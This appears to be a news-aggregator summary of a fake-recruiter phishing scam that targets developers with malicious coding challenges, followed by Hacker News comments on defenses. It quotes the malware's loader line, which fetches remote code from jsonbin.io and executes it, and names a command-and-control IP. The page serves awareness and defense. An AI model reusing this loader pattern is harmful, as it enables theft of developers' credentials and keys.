Phishing scam poses as job interview, deploys malware via coding challenge
Attackers impersonate recruiters on LinkedIn, luring developers into running malicious TypeScript code that exfiltrates secrets.
What to know
- Attackers impersonate LinkedIn recruiters from real companies and send fake coding challenges that execute remote code capable of stealing API keys, credentials, and environment variables.
- The malware uses a two-stage loader: the fake project's npm run dev downloads obfuscated code from jsonbin.io, which then contacts a command-and-control server for further instructions.
- Detection hinges on simple checks—verifying the recruiter's profile, confirming official company email addresses, and avoiding first-interaction coding tests—but isolation techniques (containers, VMs, firewalls) are crucial if you must run untrusted code.
- The scam is particularly effective in crypto and startup hiring where unconventional recruitment and stealth company secrecy make phishing more plausible, and targets have high-value secrets accessible on their machines.
The dispute Whether official company email addresses are a reliable filter—some argue third-party recruiters and legitimate companies using Gmail compromise this heuristic, while others maintain it is still the single most important check. · positions read across 21 posts and comments
Candidates must take responsibility by isolating execution and verifying recruiter legitimacy.
-
“only interact with people using an official email address.”
john_strinlai · Hacker News
Employers and the hiring process bear responsibility—legitimate companies should never ask candidates to run untrusted code without safeguards.
-
“A person who takes random things from a near stranger on the internet and runs it on their computer with no real safeguards is not a person I should hire. Which also means that your hiring practice should not involve a person you met on…”
_carbyau_ · Hacker News
Crypto and startup job markets are particularly vulnerable because unconventional recruitment is normalized.
-
“this seems to be a major and real problem in the crypto job space. In their job market it's more believable that a 'stealth startup' is reaching out and doing a code challenge from an unfamiliar email or repo”
mapmeld · Hacker News
“const initPriceConfig = async () => { const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d"; const res = (await axios.get(`${src}`)); const handler = new (Function.constructor)('require', res.data.record.model); if (handler) handler(require); };”
codedge, Security researcher · codedge blog
codedge Security researcherAttackers (unnamed) Threat actors
The record 2 articles and posts · last 30 days
What people are saying 21 voices from 2 sites · verbatim
- What liability do interview platforms and coding challenge tools have if they themselves enable malware execution?
- How can candidates distinguish between legitimate unconventional hiring (stealth startups, crypto companies) and phishing scams?
- Should job interview processes even require candidates to execute code on their personal machines?
- Aug 21
-
Are you familiar with the concept of a recruitment funnel? It is not financially worth it to personally talk with every single person that applies to a company.
- Aug 20
-
> Putting things into Docker and only executing the code inside isolates your host system and does not reveal any stored secret - as long as you do not mount host data into the container.Doesn't mention why... Gives no similar warning about VM.You usually have to mount at least some data in a container or VM for it to be useful. Of course, being…
-
The internet world really does run on trust-chaining reputation.A person who takes random things from a near stranger on the internet and runs it on their computer with no real safeguards is not a person I should hire.Which also means that your hiring practice should not involve a person you met on zoom/Teams/whatever 10 minutes ago being required…
-
My first thought after reading the article: develoepers NEED to learn to use firewalls such as LuLu(https://objective-see.org/products/lulu.html) to get interactive dialogs asking whether any given binary can access any given internet address whether it is a domain address or IP address (which can seem even shadier).I am an Emacs user but every…
-
If a company is not even willing to have a real person speak to you at the start of the recruitment process, what does that say about them? Or about the legitimacy of that job posting? Or about the people you would be working with if you did get hired?Regardless if you get an offer or not, you will invest a significant amount of finite time in…
-
I have seen official company recruiters operate exclusively through Gmail or whatever. Third party headhunters may not have anything tied to the sponsoring company.It is a decent rule, but one which is immediately thwarted by companies going out of their way to constantly look illegitimate.
-
> It never asks for elevation. It doesn’t need root, UAC, or sudo, because nothing it wants is root-owned. SSH keys, AWS credentials, browser profiles, wallet data, .env files - all of it is user-owned by design, because you need to read it routinely.Tangentially, what have people found that works well in term of hardening [0] desktop linux?I…
-
A recruiter recently sent me an "I'd like you to explore..." email. Every "further info" link in it pointed to znsrc.com/[unique_id] rather than to the displayed address.That felt dishonest and I ignored the email.
-
> only interact with people using an official email address.And then google whether the domain is associated with phishing attempts. i've been targeted several times recently by folks with "official" email addresses but whose domains are (per google) strongly associated with phishing.
-
Since no one mentioned it - this seems to be a major and real problem in the crypto job space. In their job market it's more believable that a 'stealth startup' is reaching out and doing a code challenge from an unfamiliar email or repo, and crypto devs are likely to have a wallet or passwords accessible on their system. They are willing to go…
-
Being on the job hunt myself this is very helpful! I do however prepare public repos and showcases for such interviews/applications, I hope my luck streak doesnt run out
-
I've been meaning to learn/run QEMU on my linux box. I assume I don't need to do anything apart from rebuild the image each time I need to do this?Yes I most likely will tell them to get lost, but if I get an invite from Larry/Sergey I want to be ready.
-
> “A relevant opportunity” with part-time remote work and a great hourly compensationThat is so suspicious at the moment.
-
If you run across something like this:* perhaps archive your findings* report the abuse to their hostingI'm dropping emails to jsonbin.io and to ZapHosting (who run 147.189.174.138) about this.
-
Just that fact that the company expects a candidate to even have their own machine is egregious.
-
Maybe it's a pen test such that if the CLI can phone home you fail, to weed out candidates with weak security fu.
-
There is a YC company that makes a coding interview tool. They want you to run their CLI on your machine and trust that it won't do anything malicious, when in fact it installs a bunch of things onto your machine without consent, scans processes, and intercepts requests from AI tools. It's crazy that people think this is acceptable.
-
out of the list under "Before you start with the test, you might be suspicious about the following:" there is only one that is important:only interact with people using an official email address.the rest can be used as yellow/red flags, but simply asking for confirmation via an official email address will thwart the vast majority of scams…
-
I get enough legit and illegitimate ones every week on LinkedIn that it's become really easy to tell the difference. Hard to pinpoint in a comment because it's mostly a gut feeling. But, in rough order:1. Look at the person's LinkedIn profile contacting you and examine their post history. In one comical scenario the "recruiter" had a long 4 year…
-
I remember reading a similar article here not long ago, and the attack relied on auto-loading in VSCode.
-
N
💼🚨 Ah, the joys of job hunting: where a # LinkedIn message is more like a covert mission to see how quickly you can turn your computer into a ticking time bomb. 🎯 Who knew your biggest career move would be straight into the great unknown of # malware and regret? 🙃 https://www. codedge.de/posts/how-to-compro…